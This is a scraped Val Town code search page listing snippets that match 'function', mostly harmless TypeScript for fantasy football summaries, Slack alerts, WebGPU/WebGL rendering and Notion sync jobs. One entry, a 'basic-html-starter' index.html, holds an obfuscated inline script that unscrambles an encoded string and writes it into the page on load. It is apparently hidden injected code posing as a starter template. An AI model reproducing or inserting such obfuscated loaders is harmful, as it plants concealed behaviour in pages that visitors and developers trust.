Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run/%7Bimport.meta.url.replace(/%22esm.town/%22,?q=function&page=1&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 40452 results for "function"(842ms)

untitled-2035main.ts12 matches

@chatgot•Updated 49 mins ago
17};
18
19export default async function (req: Request): Promise<Response> {
20 const url = new URL(req.url);
21
414 };
415
416 // Then in your main function, after getting fantasy data:
417 const realLeaders = await getRealNFLLeaders(currentWeek);
418
453 }
454
455 // Build narrative hints with new functions
456 const narrativeHints = {
457 mainStory: determineMainStory(nflGames, fantasyMatchups),
694}
695
696// Helper functions
697function calculateBenchPain(team, week) {
698 if (!team?.roster?.entries) return null;
699
727}
728
729function getPositionName(posId) {
730 const positions = ["QB", "RB", "WR", "TE", "K", "DST"];
731 return positions[posId - 1] || "FLEX";
732}
733
734function isGameTime() {
735 const now = new Date();
736 const day = now.getDay();
743}
744
745function determineMainStory(nflGames, fantasyMatchups) {
746 // NFL shootout
747 const shootout = nflGames.find((g) => {
764}
765
766function determineVibe(nfl, fantasy) {
767 const blowouts = fantasy.filter((m) => m.isBlowout).length;
768 const closeGames =
777}
778
779function findWorstDecision(benchPain) {
780 if (!benchPain.length) return null;
781
791}
792
793function compileMustMentions(nfl, fantasy, benchPain) {
794 const mentions = [];
795
808}
809
810function getCurrentWeek() {
811 const seasonStart = new Date("2025-09-04");
812 const now = new Date();

PixelPixelApiMonitormain.ts2 matches

@selfire1•Updated 1 hour ago
1export default async function (_interval: Interval) {
2 const SLACK_TOKEN = Deno.env.get("SLACK_TOKEN");
3 const channel = "C060TG0KLQJ";
28 }
29
30 async function sendSlackMessage(text: string) {
31 return await fetch("https://slack.com/api/chat.postMessage", {
32 headers: {

webgpu_2main.tsx3 matches

@saolsen•Updated 2 hours ago
10import module_path from "./module_path.tsx"
11
12async function main() {
13 const grid_shader = await (await fetch(`${module_path}/grid.wgsl`)).text();
14
210 let depth_texture: GPUTexture;
211
212 function render() {
213 const fov = 60 * Math.PI / 180;
214 const aspect = canvas.width / canvas.height;
292}
293
294function fail(msg: string) {
295 alert(msg);
296}

basic-html-starterindex.html1 match

@evermind•Updated 2 hours ago
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
4import { extractAgentProperties } from "../utils/notion.helpers.ts";
5
6export async function handleUrlWebhook(c: Context) {
7 console.log("Processing URL update webhook request");
8
75}
76
77export async function handleAssignWebhook(c: Context) {
78 console.log("Processing task assignment webhook request");
79
8- **Purpose**: Cleans up stale viewing sessions
9- **Schedule**: Every minute
10- **Function**: Marks sessions older than 1 minute as not viewing
11- **Notion Sync**: Immediately updates Notion database when sessions end
12
14- **Purpose**: Cleans up orphaned agent blobs
15- **Schedule**: Every minute (configurable in Val Town UI)
16- **Function**: Deletes agent blobs where the agent ID doesn't match the demo's "Glimpse agents" relation in Notion
17- **Read-Only Notion**: Only reads Notion data, never modifies it
18- **Blob Cleanup**: Removes mismatched/orphaned blobs to keep storage synchronized with Notion
12}
13
14// Utility function to create success response
15export function createSuccessResponse<T>(data: T): NotionServiceResponse<T> {
16 return {
17 success: true,
21}
22
23// Utility function to create error response
24export function createErrorResponse(error: string): NotionServiceResponse {
25 return {
26 success: false,
1import { notion, createSuccessResponse, createErrorResponse, type NotionServiceResponse } from './index.ts';
2
3export async function getDatabases(): Promise<NotionServiceResponse> {
4 try {
5 const response = await notion.search({
15}
16
17export async function getDatabaseById(databaseId: string): Promise<NotionServiceResponse> {
18 try {
19 const response = await notion.databases.retrieve({
26}
27
28export async function getDatabasePages(databaseId: string): Promise<NotionServiceResponse> {
29 try {
30 const response = await notion.databases.query({
37}
38
39export async function findUserByEmail(databaseId: string, email: string): Promise<NotionServiceResponse> {
40 try {
41 const response = await notion.databases.query({
54}
55
56export async function createUserRecord(databaseId: string, email: string): Promise<NotionServiceResponse> {
57 try {
58 const response = await notion.pages.create({
72}
73
74export async function findAgentsAssignedToDemo(databaseId: string, demoPageId: string): Promise<NotionServiceResponse> {
75 try {
76 const response = await notion.databases.query({
15import { blob } from "https://esm.town/v/std/blob";
16
17export default async function cleanupAgentAssignments(): Promise<Response> {
18 const startTime = new Date();
19 console.log(`🧹 Starting agent cleanup at ${startTime.toISOString()}`);
24 );
25
26 // Get all agent blob keys using utility function
27 const agentBlobPrefix = generateBlobKeyPrefix("agent");
28 const agentBlobKeys = await blob.list(agentBlobPrefix);
54
55 for (const blobItem of agentBlobKeys) {
56 // Extract pageId from blob key using utility function
57 const blobKey = blobItem.key;
58 const pageId = blobKey.replace(agentBlobPrefix, "");

untitled-8264Main2.ts12 matches

@ziggyware•Updated 3 hours ago
1export default async function (req: Request): Promise<Response> {
2 const fftSize = 128;
3 const TWO_PI = 2.0 * 3.141592653579;
56 const errorBox = document.getElementById("errorBox");
57
58 function showError(e) {
59 console.error(e);
60 errorBox.style.display = "block";
63
64 // DPR-aware resize
65 function resize() {
66 const dpr = Math.min(window.devicePixelRatio || 1, 2);
67 const w = Math.floor(window.innerWidth * dpr);
178 \`;
179
180 function compileShader(type, src) {
181 const s = gl.createShader(type);
182 gl.shaderSource(s, src);
204 gl.bindVertexArray(vao);
205
206 function createAttrib(data, attribName, usage) {
207 const loc = gl.getAttribLocation(program, attribName);
208 if (loc === -1) throw new Error("Attrib not found or optimized out: " + attribName);
230
231 // Matrices
232 function mat4Perspective(fovDeg, aspect, near, far) {
233 const f = 1.0 / Math.tan((fovDeg * Math.PI) / 360);
234 const nf = 1 / (near - far);
241 return out;
242 }
243 function subtract(a, b) { return [a[0]-b[0], a[1]-b[1], a[2]-b[2]]; }
244 function normalize(v) {
245 const l = Math.hypot(v[0], v[1], v[2]) || 1;
246 return [v[0]/l, v[1]/l, v[2]/l];
247 }
248 function cross(a, b) {
249 return [a[1]*b[2] - a[2]*b[1], a[2]*b[0] - a[0]*b[2], a[0]*b[1] - a[1]*b[0]];
250 }
251 function dot(a, b) { return a[0]*b[0] + a[1]*b[1] + a[2]*b[2]; }
252 function mat4LookAt(eye, target, up) {
253 const z = normalize(subtract(eye, target));
254 const x = normalize(cross(up, z));
289
290 // Render loop
291 function render(ts) {
292 // Update audio only if ready
293 if (analyser) {

ratelimit4 file matches

@unkey•Updated 1 month ago
Rate limit your serverless functions

discordWebhook2 file matches

@stevekrouse•Updated 2 months ago
Helper function to send Discord messages
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.